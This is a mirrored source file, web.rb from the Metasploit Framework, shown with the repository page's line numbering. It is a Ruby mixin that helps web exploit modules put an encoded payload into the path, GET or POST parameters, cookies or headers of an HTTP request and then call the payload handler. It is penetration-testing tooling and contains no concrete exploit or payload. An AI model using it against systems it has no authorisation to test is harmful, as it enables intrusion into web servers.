Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

web.rb 3.6KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145
  1. # -*- coding: binary -*-
  2. module Msf
  3. ###
  4. #
  5. # This module exposes methods that may be useful to exploits that deal with
  6. # webservers.
  7. #
  8. ###
  9. module Exploit::Remote::Web
  10. include Exploit::Remote::Tcp
  11. include Exploit::Remote::HttpClient
  12. # Default value for #web_payload_stub
  13. WEB_PAYLOAD_STUB = '!payload!'
  14. #
  15. # Optional stub to be replaced with the exploit payload.
  16. #
  17. # Default stub is 'WEB_PAYLOAD_STUB'.
  18. #
  19. attr_accessor :web_payload_stub
  20. # Creates an instance of a Telnet exploit module.
  21. #
  22. def initialize( info = {} )
  23. super
  24. register_options([
  25. OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ),
  26. OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
  27. OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
  28. OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
  29. OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
  30. ], self.class )
  31. self.web_payload_stub = WEB_PAYLOAD_STUB
  32. end
  33. def path
  34. Rex::Text.uri_encode( substitute_web_payload_stub( datastore['PATH'] ) )
  35. end
  36. def get
  37. substitute_in_hash( parse_query( datastore['GET'] ) )
  38. end
  39. def post
  40. substitute_in_hash( parse_query( datastore['POST'] ) )
  41. end
  42. def cookies
  43. substitute_web_payload_stub( datastore['COOKIES'], ',;' )
  44. end
  45. def headers
  46. substitute_in_hash( parse_query( datastore['HEADERS'] ) )
  47. end
  48. def method
  49. post.empty? ? 'GET' : 'POST'
  50. end
  51. def check
  52. path = datastore['PATH']
  53. print_status "Checking #{path}"
  54. response = send_request_raw( 'uri' => path )
  55. return Exploit::CheckCode::Detected if response.code == 200
  56. print_error "Server responded with #{response.code}"
  57. Exploit::CheckCode::Unknown
  58. end
  59. def exploit
  60. print_status "Sending HTTP request for #{path}"
  61. res = perform_request
  62. if res
  63. print_status "The server responded with HTTP status code #{res.code}."
  64. else
  65. print_status 'The server did not respond to our request.'
  66. end
  67. handler
  68. end
  69. def tries
  70. 1
  71. end
  72. private
  73. def perform_request
  74. send_request_cgi({
  75. 'global' => true,
  76. 'uri' => path,
  77. 'method' => method,
  78. 'vars_get' => get,
  79. 'vars_post' => post,
  80. 'headers' => headers,
  81. 'cookie' => cookies
  82. }, 10 )
  83. end
  84. #
  85. # Converts a URI query string into a key=>value hash.
  86. #
  87. def parse_query( query, sep = '&' )
  88. query = query.to_s
  89. return {} if query.empty?
  90. query.split( sep ).inject({}) do |h, part|
  91. k, v = part.split( '=', 2 )
  92. h[k.to_s] = v.to_s
  93. h
  94. end
  95. end
  96. #
  97. # With what to replace 'WEB_PAYLOAD_STUB'.
  98. #
  99. # By default returns 'payload.encoded', override as needed.
  100. #
  101. def stub_value
  102. payload.encoded
  103. end
  104. #
  105. # Substitutes 'web_payload_stub' with the exploit payload.
  106. #
  107. def substitute_web_payload_stub( str, escape = '' )
  108. value = stub_value
  109. value = URI.encode( stub_value, escape ) if !escape.empty?
  110. str.to_s.gsub( web_payload_stub, value )
  111. end
  112. def substitute_in_hash( hash )
  113. hash.inject({}) do |h, (k, v)|
  114. h[substitute_web_payload_stub( k )] = substitute_web_payload_stub( v )
  115. h
  116. end
  117. end
  118. end
  119. end